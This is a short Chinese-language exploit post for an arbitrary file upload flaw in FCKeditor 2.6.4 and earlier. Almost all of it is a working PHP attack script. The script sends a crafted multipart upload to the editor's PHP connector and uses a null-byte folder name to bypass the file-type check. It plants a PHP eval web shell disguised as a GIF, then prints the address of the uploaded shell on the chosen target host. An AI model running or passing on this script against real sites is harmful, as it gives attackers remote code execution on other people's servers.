fckeditor <= 2.6.4 任意文件上传漏洞

fckeditor <= 2.6.4 任意文件上传漏洞, php coldfunsion应该KO了，asp表示很淡定，其他语言版本未测

 

<?





error_reporting(0);

set_time_limit(0);

ini_set("default_socket_timeout", 5);



define(STDIN, fopen("php://stdin", "r"));

$match = array();



function http_send($host, $packet)

{

    $sock = fsockopen($host, 80);

    while (!$sock)

    {

        print "\n[-] No response from {$host}:80 Trying again...";

        $sock = fsockopen($host, 80);

    }

    fputs($sock, $packet);

    while (!feof($sock)) $resp .= fread($sock, 1024);

    fclose($sock);

    print $resp;

    return $resp;

}



function connector_response($html)

{

    global $match;

    return (preg_match("/OnUploadCompleted\((\d),\"(.*)\"\)/", $html, $match) && in_array($match[1], array(0, 201)));

}



print "\n+------------------------------------------------------------------+";

print "\n| FCKEditor Servelet Arbitrary File Upload Exploit by Wolegequ     |";

print "\n+------------------------------------------------------------------+\n";



if ($argc < 3)

{

    print "\nUsage......: php $argv[0] host path\n";

    print "\nExample....: php $argv[0] localhost /\n";

    print "\nExample....: php $argv[0] localhost /FCKEditor/\n";



    die();

}



$host = $argv[1];

$path = ereg_replace("(/){2,}", "/", $argv[2]);



$filename  = "fvck.gif";

$foldername = "fuck.php%00.gif";

$connector = "editor/filemanager/connectors/php/connector.php";





$payload  = "-----------------------------265001916915724\r\n";

$payload .= "Content-Disposition: form-data; name=\"NewFile\"; filename=\"{$filename}\"\r\n";

$payload .= "Content-Type:  image/jpeg\r\n\r\n";

$payload .= 'GIF89a'."\r\n".'<?php eval($_POST[a]) ?>'."\n";

$payload .= "-----------------------------265001916915724--\r\n";



$packet     = "POST {$path}{$connector}?Command=FileUpload&Type=Image&CurrentFolder=".$foldername." HTTP/1.0\r\n";

//print $packet;

$packet    .= "Host: {$host}\r\n";



$packet .= "Content-Type: multipart/form-data; boundary=---------------------------265001916915724\r\n";

$packet .= "Content-Length: ".strlen($payload)."\r\n";

$packet .= "Connection: close\r\n\r\n";

$packet .= $payload;



print $packet;



if (!connector_response(http_send($host, $packet))) die("\n[-] Upload failed!\n");

else print "\n[-] Job done! try http://${host}/$match[2] \n";





?>